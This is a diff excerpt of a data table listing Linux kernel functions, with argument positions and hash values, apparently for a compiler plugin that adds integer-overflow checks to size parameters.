++_001027_hash pkt_bio_alloc 1 48284 _001027_hash NULL
++_001028_hash platform_create_bundle 4-6 12785 _001028_hash NULL
++_001030_hash play_iframe 3 8219 _001030_hash NULL
++_001031_hash pm8001_store_update_fw 4 55716 _001031_hash NULL
++_001032_hash pmcraid_alloc_sglist 1 9864 _001032_hash NULL
++_001033_hash pn533_dep_link_up 5 7659 _001033_hash NULL
++_001034_hash pnp_alloc 1 24869 _001419_hash NULL nohasharray
++_001035_hash pn_sendmsg 4 12640 _001035_hash NULL
++_001036_hash pppoe_sendmsg 4 48039 _001036_hash NULL
++_001037_hash pppol2tp_sendmsg 4 56420 _001037_hash NULL
++_001038_hash process_vm_rw 3-5 47533 _001038_hash NULL
++_001040_hash process_vm_rw_single_vec 1-2 26213 _001040_hash NULL
++_001042_hash proc_write 3 51003 _001042_hash NULL
++_001043_hash profile_load 3 58267 _001043_hash NULL
++_001044_hash profile_remove 3 8556 _001044_hash NULL
++_001045_hash profile_replace 3 14652 _001045_hash NULL
++_001046_hash pscsi_get_bio 1 56103 _001046_hash NULL
++_001047_hash pyra_send 4 12061 _001047_hash NULL
++_001048_hash qc_capture 3 19298 _001048_hash NULL
++_001049_hash qla4xxx_alloc_work 2 44813 _001049_hash NULL
++_001050_hash qlcnic_alloc_msix_entries 2 46160 _001050_hash NULL
++_001051_hash qlcnic_alloc_sds_rings 2 26795 _001051_hash NULL
++_001052_hash queue_received_packet 5 9657 _001052_hash NULL
++_001053_hash raw_send_hdrinc 4 58803 _001053_hash NULL
++_001054_hash raw_sendmsg 4 23078 _001054_hash &_000022_hash
++_001055_hash rawsock_sendmsg 4 60010 _001055_hash NULL
++_001056_hash rawv6_send_hdrinc 3 35425 _001056_hash NULL
++_001057_hash rb_alloc 1 3102 _001057_hash NULL
++_001058_hash rbd_alloc_coll 1 33678 _001058_hash NULL
++_001059_hash rbd_create_rw_ops 2 4605 _001059_hash NULL
++_001060_hash rds_ib_inc_copy_to_user 3 55007 _001060_hash NULL
++_001061_hash rds_iw_inc_copy_to_user 3 29214 _001061_hash NULL
++_001062_hash rds_message_alloc 1 10517 _001062_hash NULL
++_001063_hash rds_message_copy_from_user 3 45510 _001063_hash NULL
++_001064_hash rds_message_inc_copy_to_user 3 26540 _001064_hash NULL
++_001065_hash redrat3_transmit_ir 3 64244 _001065_hash NULL
++_001066_hash regcache_rbtree_insert_to_block 5 58009 _001066_hash NULL
++_001067_hash _regmap_raw_write 4 42652 _001067_hash NULL
++_001068_hash regmap_register_patch 3 21681 _001068_hash NULL
++_001069_hash relay_alloc_page_array 1 52735 _001069_hash NULL
++_001070_hash remove_uuid 4 64505 _001070_hash NULL
++_001071_hash reshape_ring 2 29147 _001071_hash NULL
++_001072_hash RESIZE_IF_NEEDED 2 56286 _001072_hash NULL
++_001073_hash resize_stripes 2 61650 _001073_hash NULL
++_001074_hash rfcomm_sock_sendmsg 4 37661 _003927_hash NULL nohasharray
++_001075_hash rose_sendmsg 4 20249 _001075_hash NULL
++_001076_hash rxrpc_send_data 5 21553 _001076_hash NULL
++_001077_hash rxrpc_setsockopt 5 50286 _001077_hash NULL
++_001078_hash saa7146_vmalloc_build_pgtable 2 19780 _001078_hash NULL
++_001079_hash saa7164_buffer_alloc_user 2 9627 _001079_hash NULL
++_001081_hash sco_send_frame 3 41815 _001081_hash NULL
++_001082_hash scsi_host_alloc 2 63041 _001082_hash NULL
++_001083_hash scsi_tgt_kspace_exec 8 9522 _001083_hash NULL
++_001084_hash sctp_sendmsg 4 61919 _001084_hash NULL
++_001085_hash sctp_setsockopt 5 44788 _001085_hash NULL
++_001086_hash sctp_setsockopt_connectx 3 6073 _001086_hash NULL
++_001087_hash sctp_setsockopt_connectx_old 3 22631 _001087_hash NULL
++_001088_hash sctp_tsnmap_init 2 36446 _001088_hash NULL
++_001089_hash sctp_user_addto_chunk 2-3 62047 _001089_hash NULL
++_001091_hash security_context_to_sid 2 19839 _001091_hash NULL
++_001092_hash security_context_to_sid_default 2 3492 _003366_hash NULL nohasharray
++_001093_hash security_context_to_sid_force 2 20724 _001093_hash NULL
++_001094_hash selinux_transaction_write 3 59038 _001094_hash NULL
++_001095_hash sel_write_access 3 51704 _001095_hash NULL
++_001096_hash sel_write_create 3 11353 _001096_hash NULL
++_001097_hash sel_write_member 3 28800 _001097_hash NULL
++_001098_hash sel_write_relabel 3 55195 _001098_hash NULL
++_001099_hash sel_write_user 3 45060 _001099_hash NULL
++_001100_hash __seq_open_private 3 40715 _001100_hash NULL
++_001101_hash serverworks_create_gatt_pages 1 46582 _001101_hash NULL
++_001102_hash set_connectable 4 56458 _001102_hash NULL
++_001103_hash set_dev_class 4 39645 _001697_hash NULL nohasharray
++_001104_hash set_discoverable 4 48141 _001104_hash NULL
++_001105_hash setkey 3 14987 _001105_hash NULL
++_001106_hash set_le 4 30581 _001106_hash NULL
++_001107_hash set_link_security 4 4502 _001107_hash NULL
++_001108_hash set_local_name 4 55757 _001108_hash NULL
++_001109_hash set_powered 4 12129 _001109_hash NULL
++_001110_hash set_ssp 4 62411 _001110_hash NULL
++_001111_hash sg_build_sgat 3 60179 _001111_hash &_000305_hash
++_001112_hash sg_read_oxfer 3 51724 _001112_hash NULL
++_001113_hash shmem_xattr_set 4 11843 _001113_hash NULL
++_001114_hash simple_alloc_urb 3 60420 _001114_hash NULL
++_001115_hash sisusb_send_bridge_packet 2 11649 _001115_hash NULL
++_001116_hash sisusb_send_packet 2 20891 _001116_hash NULL
++_001117_hash skb_add_data_nocache 4 4682 _001117_hash NULL
++_001118_hash skb_copy_datagram_from_iovec 2-5-4 52014 _001118_hash NULL
++_001121_hash skb_copy_to_page_nocache 6 58624 _001121_hash NULL
++_001122_hash sk_chk_filter 2 42095 _001122_hash NULL
++_001123_hash skcipher_sendmsg 4 30290 _001123_hash NULL
++_001124_hash sl_change_mtu 2 7396 _001124_hash NULL
++_001125_hash slhc_init 1-2 58135 _001125_hash &_000894_hash
++_001127_hash sm501_create_subdev 3-4 48668 _003678_hash NULL nohasharray
++_001129_hash smk_write_access 3 49561 _001129_hash NULL
++_001130_hash snapshot_write 3 28351 _001130_hash NULL
++_001131_hash snd_ac97_pcm_assign 2 30218 _001131_hash NULL
++_001132_hash snd_card_create 4 64418 _001411_hash NULL nohasharray
++_001133_hash snd_emux_create_port 3 42533 _001133_hash NULL
++_001134_hash snd_gus_dram_write 4 38784 _001134_hash NULL
++_001135_hash snd_midi_channel_alloc_set 1 28153 _001135_hash NULL
++_001136_hash _snd_pcm_lib_alloc_vmalloc_buffer 2 17820 _001136_hash NULL
++_001137_hash snd_pcm_oss_sync1 2 45298 _001137_hash NULL
++_001138_hash snd_pcm_oss_write 3 38108 _001138_hash NULL
++_001139_hash snd_pcm_plugin_build 5 25505 _001139_hash NULL
++_001140_hash snd_rawmidi_kernel_write 3 25106 _001140_hash NULL
++_001141_hash snd_rawmidi_write 3 28008 _001141_hash NULL
++_001142_hash snd_rme32_playback_copy 5 43732 _001142_hash NULL
++_001143_hash snd_rme96_playback_copy 5 13111 _001143_hash NULL
++_001144_hash snd_seq_device_new 4 31753 _001144_hash NULL
++_001145_hash snd_seq_oss_readq_new 2 14283 _001145_hash NULL
++_001146_hash snd_vx_create 4 40948 _001146_hash NULL
++_001147_hash sock_setsockopt 5 50088 _001147_hash NULL
++_001148_hash sound_write 3 5102 _001148_hash NULL
++_001149_hash _sp2d_alloc 1-3-2 16944 _001149_hash NULL
++_001150_hash spi_alloc_master 2 45223 _001150_hash NULL
++_001151_hash spidev_message 3 5518 _001151_hash NULL
++_001152_hash spi_register_board_info 2 35651 _001152_hash NULL
++_001153_hash squashfs_cache_init 2 41656 _001153_hash NULL
++_001154_hash squashfs_read_data 6 59440 _001154_hash NULL
++_001155_hash srp_alloc_iu 2 44227 _001155_hash NULL
++_001156_hash srp_iu_pool_alloc 2 17920 _001156_hash NULL
++_001157_hash srp_ring_alloc 2 26760 _001157_hash NULL
++_001159_hash start_isoc_chain 2 565 _001159_hash NULL
++_001160_hash stk_prepare_sio_buffers 2 57168 _001160_hash NULL
++_001161_hash store_iwmct_log_level 4 60209 _001161_hash NULL
++_001162_hash store_iwmct_log_level_fw 4 1974 _001162_hash NULL
++_001163_hash st_write 3 16874 _001163_hash NULL
++_001164_hash svc_pool_map_alloc_arrays 2 47181 _001164_hash NULL
++_001165_hash symtab_init 2 61050 _001165_hash NULL
++_001166_hash sys_bind 3 10799 _001166_hash NULL
++_001167_hash sys_connect 3 15291 _003291_hash NULL nohasharray
++_001168_hash sys_flistxattr 3 41407 _001168_hash NULL
++_001169_hash sys_fsetxattr 4 49736 _001169_hash NULL
++_001170_hash sysfs_write_file 3 57116 _001170_hash NULL
++_001171_hash sys_ipc 3 4889 _001171_hash NULL
++_001172_hash sys_keyctl 4 33708 _001172_hash &_000974_hash
++_001173_hash sys_listxattr 3 27833 _001173_hash NULL
++_001174_hash sys_llistxattr 3 4532 _001174_hash NULL
++_001175_hash sys_lsetxattr 4 61177 _001175_hash NULL
++_001176_hash sys_mq_timedsend 3 57661 _001176_hash NULL
++_001177_hash sys_sched_setaffinity 2 32046 _001177_hash NULL
++_001178_hash sys_semop 3 39457 _001178_hash NULL
++_001179_hash sys_sendto 6 20809 _001179_hash NULL
++_001180_hash sys_setxattr 4 37880 _001180_hash NULL
++_001181_hash t4_alloc_mem 1 32342 _001181_hash NULL
++_001182_hash tcf_hash_create 4 54360 _001182_hash NULL
++_001183_hash __team_options_register 3 63941 _001183_hash NULL
++_001184_hash test_unaligned_bulk 3 52333 _001184_hash NULL
++_001185_hash tifm_alloc_adapter 1 10903 _001185_hash NULL
++_001186_hash timeout_write 3 50991 _001186_hash NULL
++_001187_hash tipc_link_send_sections_fast 4 37920 _001187_hash NULL
++_001188_hash tipc_subseq_alloc 1 5957 _001188_hash NULL
++_001189_hash tm6000_read_write_usb 7 50774 _002917_hash NULL nohasharray
++_001190_hash tnode_alloc 1 49407 _001190_hash NULL
++_001191_hash tomoyo_commit_ok 2 20167 _001191_hash NULL
++_001192_hash tomoyo_scan_bprm 2-4 15642 _001192_hash NULL
++_001194_hash tps65910_i2c_write 3 39531 _001194_hash NULL
++_001195_hash ts_write 3 64336 _001195_hash NULL
++_001196_hash ttusb2_msg 4 3100 _001196_hash NULL
++_001197_hash tty_write 3 5494 _001197_hash NULL
++_001198_hash ubi_dbg_check_all_ff 4 59810 _001198_hash NULL
++_001199_hash ubi_dbg_check_write 5 48525 _001199_hash NULL
++_001200_hash ubifs_setxattr 4 59650 _001370_hash NULL nohasharray
++_001201_hash udf_sb_alloc_partition_maps 2 62313 _001201_hash NULL
++_001202_hash udplite_getfrag 3-4 14479 _001202_hash NULL
++_001204_hash ulong_write_file 3 26485 _001204_hash NULL
++_001205_hash unix_dgram_sendmsg 4 45699 _001205_hash NULL
++_001206_hash unix_stream_sendmsg 4 61455 _001206_hash NULL
++_001207_hash unlink_queued 3-4 645 _001207_hash NULL
++_001208_hash update_pmkid 4 2481 _001208_hash NULL
++_001209_hash usb_alloc_coherent 2 65444 _001209_hash NULL
++_001210_hash uvc_alloc_buffers 2-3 9656 _001210_hash NULL
++_001211_hash uvc_alloc_entity 3-4 20836 _001211_hash NULL
++_001212_hash v4l2_ctrl_new 7 38725 _001212_hash NULL
++_001213_hash v4l2_event_subscribe 3 19510 _001213_hash NULL
++_001214_hash vb2_read 3 42703 _001214_hash NULL
++_001215_hash vb2_write 3 31948 _001215_hash NULL
++_001216_hash vc_resize 2-3 3585 _001216_hash NULL
++_001218_hash __vhost_add_used_n 3 26554 _001218_hash NULL
++_001219_hash __videobuf_alloc_vb 1 27062 _001219_hash NULL
++_001220_hash videobuf_dma_init_kernel 3 6963 _001220_hash NULL
++_001221_hash virtqueue_add_buf 3-4 59470 _001221_hash NULL
++_001223_hash vmalloc 1 15464 _001223_hash NULL
++_001224_hash vmalloc_to_sg 2 58354 _001224_hash NULL
++_001225_hash vol_cdev_write 3 40915 _001225_hash NULL
++_001226_hash vxge_device_register 4 7752 _001226_hash NULL
++_001227_hash __vxge_hw_channel_allocate 3 55462 _001227_hash NULL
++_001228_hash vzalloc 1 47421 _001228_hash NULL
++_001229_hash vzalloc_node 1 23424 _001229_hash NULL
++_001230_hash wa_nep_queue 2 8858 _001230_hash NULL
++_001231_hash __wa_xfer_setup_segs 2 56725 _001231_hash NULL
++_001232_hash wiphy_new 2 2482 _001232_hash NULL
++_001233_hash wpan_phy_alloc 1 48056 _001233_hash NULL
++_001234_hash wusb_ccm_mac 7 32199 _001234_hash NULL
++_001235_hash x25_sendmsg 4 12487 _001235_hash NULL
++_001236_hash xfrm_hash_alloc 1 10997 _001236_hash NULL
++_001237_hash _xfs_buf_get_pages 2 46811 _001237_hash NULL
++_001238_hash xfs_da_buf_make 1 55845 _001238_hash NULL
++_001239_hash xfs_da_grow_inode_int 3 21785 _001239_hash NULL
++_001240_hash xfs_dir_cilookup_result 3 64288 _003139_hash NULL nohasharray
++_001241_hash xfs_iext_add_indirect_multi 3 32400 _001241_hash NULL
++_001242_hash xfs_iext_inline_to_direct 2 12384 _001242_hash NULL
++_001243_hash xfs_iroot_realloc 2 46826 _001243_hash NULL
++_001244_hash xhci_alloc_stream_info 3 63902 _001244_hash NULL
++_001245_hash xlog_recover_add_to_trans 4 62839 _001245_hash NULL
++_001246_hash xprt_alloc 2 1475 _001246_hash NULL
++_001247_hash xt_alloc_table_info 1 57903 _001247_hash NULL
++_001248_hash _zd_iowrite32v_async_locked 3 39034 _001248_hash NULL
++_001249_hash zd_usb_iowrite16v 3 49744 _001249_hash NULL
++_001250_hash acpi_ds_build_internal_package_obj 3 58271 _001250_hash NULL
++_001251_hash acpi_system_read_event 3 55362 _001251_hash NULL
++_001252_hash acpi_ut_create_buffer_object 1 42030 _001252_hash NULL
++_001253_hash acpi_ut_create_package_object 1 17594 _001253_hash NULL
++_001254_hash acpi_ut_create_string_object 1 15360 _001254_hash NULL
++_001255_hash ad7879_spi_multi_read 3 8218 _001255_hash NULL
++_001256_hash add_child 4 45201 _001256_hash NULL
++_001257_hash add_port 2 54941 _001257_hash NULL
++_001258_hash adu_read 3 24177 _001258_hash NULL
++_001259_hash afs_cell_create 2 27346 _001259_hash NULL
++_001260_hash agp_generic_alloc_user 1 9470 _001260_hash NULL
++_001261_hash alloc_agpphysmem_i8xx 1 39427 _001261_hash NULL
++_001262_hash allocate_cnodes 1 5329 _001262_hash NULL
++_001263_hash ___alloc_bootmem 1 11410 _001263_hash NULL
++_001264_hash __alloc_bootmem_nopanic 1 65397 _001264_hash NULL
++_001265_hash alloc_bulk_urbs_generic 5 12127 _001265_hash NULL
++_001266_hash alloc_candev 1-2 7776 _001266_hash NULL
++_001268_hash ____alloc_ei_netdev 1 51475 _001268_hash NULL
++_001269_hash alloc_etherdev_mqs 1 36450 _001269_hash NULL
++_001270_hash alloc_extent_buffer 3 52824 _001270_hash NULL
++_001271_hash alloc_fcdev 1 18780 _001271_hash NULL
++_001272_hash alloc_fddidev 1 15382 _001272_hash NULL
++_001273_hash alloc_hippi_dev 1 51320 _001273_hash NULL
++_001274_hash alloc_irdadev 1 19140 _001274_hash NULL
++_001275_hash alloc_ltalkdev 1 38071 _001275_hash NULL
++_001276_hash alloc_one_pg_vec_page 1 10747 _001276_hash NULL
++_001277_hash alloc_orinocodev 1 21371 _001277_hash NULL
++_001279_hash alloc_trdev 1 16399 _001279_hash NULL
++_001280_hash async_setkey 3 35521 _001280_hash NULL
++_001281_hash ata_host_alloc_pinfo 3 17325 _001281_hash NULL
++_001284_hash ath6kl_connect_event 7-9-8 14267 _001284_hash NULL
++_001285_hash ath6kl_fwlog_block_read 3 49836 _001285_hash NULL
++_001286_hash ath6kl_fwlog_read 3 32101 _001286_hash NULL
++_001287_hash ath_rx_init 2 43564 _001287_hash NULL
++_001288_hash ath_tx_init 2 60515 _001288_hash NULL
++_001289_hash atm_get_addr 3 31221 _001289_hash NULL
++_001290_hash av7110_ipack_init 2 46655 _001290_hash NULL
++_001291_hash bdx_rxdb_create 1 46525 _001291_hash NULL
++_001292_hash bdx_tx_db_init 2 41719 _001292_hash NULL
++_001293_hash bio_map_kern 3 64751 _001293_hash NULL
++_001294_hash bits_to_user 3-2 47733 _001294_hash NULL
++_001295_hash __blk_queue_init_tags 2 9778 _001295_hash NULL
++_001296_hash blk_queue_resize_tags 2 28670 _001296_hash NULL
++_001297_hash blk_rq_map_user_iov 5 16772 _001297_hash NULL
++_001298_hash bm_init 2 13529 _001298_hash NULL
++_001299_hash brcmf_alloc_wdev 1 60347 _001299_hash NULL
++_001300_hash btrfs_insert_dir_item 4 59304 _001300_hash NULL
++_001301_hash btrfs_map_block 3 64379 _001301_hash NULL
++_001302_hash c4_add_card 3 54968 _001302_hash NULL
++_001303_hash cache_read 3 24790 _001303_hash NULL
++_001304_hash cache_write 3 13589 _001304_hash NULL
++_001305_hash calc_hmac 3 32010 _001305_hash NULL
++_001306_hash ccid_getsockopt_builtin_ccids 2 53634 _001306_hash NULL
++_001307_hash ceph_copy_page_vector_to_user 4-3 31270 _001307_hash NULL
++_001308_hash ceph_read_dir 3 17005 _001308_hash NULL
++_001309_hash cfg80211_roamed 5-7 32632 _001309_hash NULL
++_001311_hash ci_ll_init 3 12930 _001311_hash NULL
++_001312_hash coda_psdev_read 3 35029 _001312_hash NULL
++_001313_hash construct_key_and_link 4 8321 _001313_hash NULL
++_001314_hash copy_counters_to_user 5 17027 _001824_hash NULL nohasharray
++_001315_hash copy_entries_to_user 1 52367 _001315_hash NULL
++_001316_hash copy_from_buf 4-2 27308 _001316_hash NULL
++_001317_hash copy_oldmem_page 3-1 26164 _001317_hash NULL
++_001318_hash copy_to_user_fromio 3 57432 _001318_hash NULL
++_001319_hash cryptd_hash_setkey 3 42781 _001319_hash NULL
++_001320_hash crypto_authenc_esn_setkey 3 6985 _001320_hash NULL
++_001321_hash crypto_authenc_setkey 3 80 _003311_hash NULL nohasharray
++_001322_hash cx18_copy_buf_to_user 4 22735 _001322_hash NULL
++_001324_hash cxgbi_ddp_reserve 4 30091 _001324_hash NULL
++_001325_hash datablob_hmac_append 3 40038 _001325_hash NULL
++_001326_hash datablob_hmac_verify 4 24786 _001326_hash NULL
++_001327_hash dataflash_read_fact_otp 3-2 33204 _001327_hash NULL
++_001328_hash dataflash_read_user_otp 3-2 14536 _001328_hash &_000201_hash
++_001329_hash dccp_feat_register_sp 5 17914 _001329_hash NULL
++_001330_hash ddb_input_read 3 9743 _001330_hash NULL
++_001331_hash dev_read 3 56369 _001331_hash NULL
++_001332_hash diva_os_copy_to_user 4 48508 _001332_hash NULL
++_001333_hash diva_os_malloc 2 16406 _001333_hash NULL
++_001334_hash dlm_dir_lookup 4 56662 _001334_hash NULL
++_001335_hash dm_vcalloc 1-2 16814 _001335_hash NULL
++_001337_hash do_proc_readlink 3 14096 _001337_hash NULL
++_001338_hash do_readlink 2 43518 _001338_hash NULL
++_001339_hash __do_replace 5 37227 _001339_hash NULL
++_001340_hash do_sigpending 2 9766 _001340_hash NULL
++_001341_hash drbd_setsockopt 5 16280 _001341_hash &_000371_hash
++_001342_hash dsp_buffer_alloc 2 11684 _001342_hash NULL
++_001343_hash dump_midi 3 51040 _001343_hash NULL
++_001344_hash dvb_dmxdev_set_buffer_size 2 55643 _001344_hash NULL
++_001345_hash dvb_dvr_set_buffer_size 2 9840 _001345_hash NULL
++_001346_hash dvb_ringbuffer_pkt_read_user 3-5-2 4303 _001346_hash NULL
++_001348_hash dvb_ringbuffer_read_user 3 56702 _001348_hash NULL
++_001349_hash ecryptfs_filldir 3 6622 _001349_hash NULL
++_001350_hash ecryptfs_readlink 3 40775 _001350_hash NULL
++_001351_hash ecryptfs_send_message 2 18322 _001351_hash NULL
++_001352_hash em28xx_init_isoc 4 62883 _001352_hash &_000721_hash
++_001353_hash et61x251_read 3 25420 _001353_hash NULL
++_001354_hash ext4_add_new_descs 3 19509 _001354_hash NULL
++_001355_hash fat_ioctl_filldir 3 36621 _001355_hash NULL
++_001356_hash fd_copyout 3 59323 _001356_hash NULL
++_001357_hash f_hidg_read 3 6238 _001357_hash NULL
++_001358_hash filldir 3 55137 _001358_hash NULL
++_001359_hash filldir64 3 46469 _001359_hash NULL
++_001360_hash fops_read 3 40672 _001360_hash NULL
++_001361_hash from_buffer 3 18625 _001361_hash NULL
++_001362_hash fsm_init 2 16134 _001362_hash NULL
++_001363_hash get_subdir 3 62581 _001363_hash NULL
++_001364_hash gspca_dev_probe 4 2570 _001364_hash NULL
++_001365_hash handle_received_packet 3 22457 _001365_hash NULL
++_001366_hash hash_setkey 3 48310 _001366_hash NULL
++_001367_hash hdlcdrv_register 2 6792 _001367_hash NULL
++_001368_hash hdpvr_read 3 9273 _001368_hash NULL
++_001369_hash hid_input_report 4 32458 _001369_hash NULL
++_001370_hash hidraw_read 3 59650 _001370_hash &_001200_hash
++_001371_hash HiSax_readstatus 2 15752 _001371_hash NULL
++_001373_hash __hwahc_op_set_gtk 4 42038 _001373_hash NULL
++_001374_hash __hwahc_op_set_ptk 5 36510 _001374_hash NULL
++_001375_hash ib_copy_to_udata 3 27525 _001375_hash NULL
++_001376_hash idetape_chrdev_read 3 2097 _001376_hash NULL
++_001377_hash ieee80211_alloc_hw 1 43829 _001377_hash NULL
++_001378_hash ieee80211_bss_info_update 4 13991 _001378_hash NULL
++_001379_hash ilo_read 3 32531 _001379_hash NULL
++_001380_hash init_map_ipmac 3-4 63896 _001380_hash NULL
++_001382_hash init_tid_tabs 2-4-3 13252 _001382_hash NULL
++_001385_hash iowarrior_read 3 53483 _001385_hash NULL
++_001386_hash ipv6_getsockopt_sticky 5 56711 _001386_hash NULL
++_001387_hash ipwireless_send_packet 4 8328 _001387_hash NULL
++_001388_hash ipx_sendmsg 4 1362 _001388_hash NULL
++_001389_hash iscsi_conn_setup 2 35159 _001389_hash NULL
++_001390_hash iscsi_create_session 3 51647 _001390_hash NULL
++_001391_hash iscsi_host_alloc 2 36671 _001391_hash NULL
++_001392_hash iscsi_session_setup 4-5 196 _001392_hash NULL
++_001394_hash iscsit_find_cmd_from_itt_or_dump 3 17194 _001701_hash NULL nohasharray
++_001395_hash isdn_ppp_read 4 50356 _001395_hash NULL
++_001396_hash isku_sysfs_read 6 58806 _001396_hash NULL
++_001397_hash isku_sysfs_write 6 49767 _001397_hash NULL
++_001398_hash iso_alloc_urb 4-5 45206 _001398_hash NULL
++_001400_hash ivtv_copy_buf_to_user 4 6159 _001400_hash NULL
++_001401_hash iwm_rx_handle 3 24899 _001401_hash NULL
++_001402_hash iwm_wdev_alloc 1 38415 _001402_hash NULL
++_001403_hash jbd2_alloc 1 41359 _001403_hash NULL
++_001404_hash jffs2_do_link 6 42048 _001404_hash NULL
++_001405_hash jffs2_do_unlink 4 62020 _001405_hash NULL
++_001406_hash jffs2_security_setxattr 4 62107 _001406_hash NULL
++_001407_hash jffs2_trusted_setxattr 4 17048 _001407_hash NULL
++_001408_hash jffs2_user_setxattr 4 10182 _001408_hash NULL
++_001409_hash kernel_setsockopt 5 35913 _001409_hash NULL
++_001410_hash keyctl_describe_key 3 36853 _001410_hash NULL
++_001411_hash keyctl_get_security 3 64418 _001411_hash &_001132_hash
++_001412_hash keyring_read 3 13438 _001412_hash NULL
++_001413_hash kfifo_copy_to_user 3 20646 _001413_hash NULL
++_001414_hash kmem_zalloc_large 1 56128 _001414_hash NULL
++_001415_hash kmp_init 2 41373 _001415_hash NULL
++_001416_hash koneplus_sysfs_write 6 35993 _001416_hash NULL
++_001417_hash kvm_clear_guest_page 4 2308 _001417_hash NULL
++_001418_hash kvm_read_nested_guest_page 5 13337 _001418_hash NULL
++_001419_hash l2cap_create_basic_pdu 3 24869 _003830_hash &_001034_hash nohasharray
++_001420_hash l2cap_create_connless_pdu 3 37327 _001420_hash &_000966_hash
++_001421_hash l2cap_create_iframe_pdu 3 51801 _001421_hash NULL
++_001422_hash __lgwrite 4 57669 _001422_hash NULL
++_001423_hash libfc_host_alloc 2 7917 _001423_hash NULL
++_001424_hash llcp_sock_sendmsg 4 1092 _001424_hash NULL
++_001425_hash macvtap_get_user 4 28185 _001425_hash NULL
++_001426_hash mcam_v4l_read 3 36513 _001426_hash NULL
++_001427_hash mce_async_out 3 58056 _001427_hash NULL
++_001428_hash mce_flush_rx_buffer 2 14976 _001428_hash NULL
++_001429_hash mdc800_device_read 3 22896 _001429_hash NULL
++_001430_hash memcpy_toiovec 3 54166 _001430_hash &_000867_hash
++_001431_hash memcpy_toiovecend 3-4 19736 _001431_hash NULL
++_001433_hash mgt_set_varlen 4 60916 _001433_hash NULL
++_001434_hash mlx4_en_create_rx_ring 3 62498 _001434_hash NULL
++_001435_hash mlx4_en_create_tx_ring 4 48501 _001435_hash NULL
++_001436_hash mon_bin_get_event 4 52863 _001436_hash NULL
++_001437_hash mousedev_read 3 47123 _001437_hash NULL
++_001438_hash move_addr_to_user 2 2868 _001438_hash NULL
++_001439_hash mpihelp_mul 5-3 27805 _001439_hash NULL
++_001441_hash mpi_lshift_limbs 2 9337 _001441_hash NULL
++_001442_hash msnd_fifo_alloc 2 23179 _001442_hash NULL
++_001443_hash mtdswap_init 2 55719 _001443_hash NULL
++_001444_hash neigh_hash_grow 2 17283 _001444_hash NULL
++_001445_hash nfs4_realloc_slot_table 2 22859 _001445_hash NULL
++_001446_hash nfs_idmap_get_key 2 39616 _001446_hash NULL
++_001447_hash nsm_get_handle 4 52089 _001447_hash NULL
++_001448_hash ntfs_malloc_nofs 1 49572 _001448_hash NULL
++_001449_hash ntfs_malloc_nofs_nofail 1 63631 _001449_hash NULL
++_001450_hash nvme_create_queue 3 170 _001450_hash NULL
++_001451_hash ocfs2_control_write 3 54737 _001451_hash NULL
++_001452_hash orinoco_add_extscan_result 3 18207 _001452_hash NULL
++_001454_hash override_release 2 52032 _001454_hash NULL
++_001455_hash packet_snd 3 13634 _001455_hash NULL
++_001456_hash pcbit_stat 2 27364 _001456_hash NULL
++_001457_hash pcpu_extend_area_map 2 12589 _001457_hash NULL
++_001458_hash pg_read 3 17276 _001458_hash NULL
++_001459_hash picolcd_debug_eeprom_read 3 14549 _001459_hash NULL
++_001460_hash pkt_alloc_packet_data 1 37928 _001460_hash NULL
++_001461_hash pmcraid_build_passthrough_ioadls 2 62034 _001461_hash NULL
++_001462_hash pms_capture 4 27142 _001462_hash NULL
++_001463_hash posix_clock_register 2 5662 _001463_hash NULL
++_001464_hash printer_read 3 54851 _001464_hash NULL
++_001465_hash __proc_file_read 3 54978 _001465_hash NULL
++_001466_hash pt_read 3 49136 _001466_hash NULL
++_001467_hash put_cmsg 4 36589 _001467_hash NULL
++_001468_hash pvr2_ioread_read 3 10720 _001505_hash NULL nohasharray
++_001469_hash pwc_video_read 3 51735 _001469_hash NULL
++_001470_hash px_raw_event 4 49371 _001470_hash NULL
++_001471_hash qcam_read 3 13977 _001471_hash NULL
++_001472_hash rawv6_sendmsg 4 20080 _001472_hash NULL
++_001473_hash rds_sendmsg 4 40976 _001473_hash NULL
++_001474_hash read_flush 3 43851 _001474_hash NULL
++_001475_hash read_profile 3 27859 _001475_hash NULL
++_001476_hash read_vmcore 3 26501 _001476_hash NULL
++_001477_hash redirected_tty_write 3 65297 _001477_hash NULL
++_001478_hash __register_chrdev 2-3 54223 _001478_hash NULL
++_001480_hash regmap_raw_write 4 53803 _001480_hash NULL
++_001481_hash reiserfs_allocate_list_bitmaps 3 21732 _001481_hash NULL
++_001482_hash reiserfs_resize 2 34377 _001482_hash NULL
++_001483_hash request_key_auth_read 3 24109 _001483_hash NULL
++_001484_hash rfkill_fop_read 3 54711 _001484_hash NULL
++_001485_hash rng_dev_read 3 41581 _001485_hash NULL
++_001486_hash roccat_read 3 41093 _003519_hash NULL nohasharray
++_001487_hash sco_sock_sendmsg 4 62542 _001487_hash NULL
++_001488_hash scsi_register 2 49094 _001488_hash NULL
++_001489_hash sctp_getsockopt_events 2 3607 _001489_hash NULL
++_001490_hash sctp_getsockopt_maxburst 2 42941 _001490_hash NULL
++_001491_hash sctp_getsockopt_maxseg 2 10737 _001491_hash NULL
++_001492_hash sctpprobe_read 3 17741 _001492_hash NULL
++_001493_hash sdhci_alloc_host 2 7509 _001493_hash NULL
++_001494_hash selinux_inode_post_setxattr 4 26037 _001494_hash NULL
++_001495_hash selinux_inode_setsecurity 4 18148 _001495_hash NULL
++_001496_hash selinux_inode_setxattr 4 10708 _001496_hash NULL
++_001497_hash selinux_secctx_to_secid 2 63744 _001497_hash NULL
++_001498_hash selinux_setprocattr 4 55611 _001498_hash NULL
++_001499_hash sel_write_context 3 25726 _002397_hash NULL nohasharray
++_001500_hash seq_copy_in_user 3 18543 _001500_hash NULL
++_001501_hash seq_open_net 4 8968 _001594_hash NULL nohasharray
++_001502_hash seq_open_private 3 61589 _001502_hash NULL
++_001503_hash set_arg 3 42824 _001503_hash NULL
++_001504_hash sg_read 3 25799 _001504_hash NULL
++_001505_hash shash_async_setkey 3 10720 _001505_hash &_001468_hash
++_001506_hash shash_compat_setkey 3 12267 _001506_hash NULL
++_001507_hash shmem_setxattr 4 55867 _001507_hash NULL
++_001508_hash simple_read_from_buffer 2-5 55957 _001508_hash NULL
++_001511_hash sm_checker_extend 2 23615 _001511_hash NULL
++_001512_hash sn9c102_read 3 29305 _001512_hash NULL
++_001513_hash snd_es1938_capture_copy 5 25930 _001513_hash NULL
++_001514_hash snd_gus_dram_peek 4 9062 _001514_hash NULL
++_001515_hash snd_hdsp_capture_copy 5 4011 _001515_hash NULL
++_001516_hash snd_korg1212_copy_to 6 92 _001516_hash NULL
++_001517_hash snd_opl4_mem_proc_read 5 63774 _001517_hash NULL
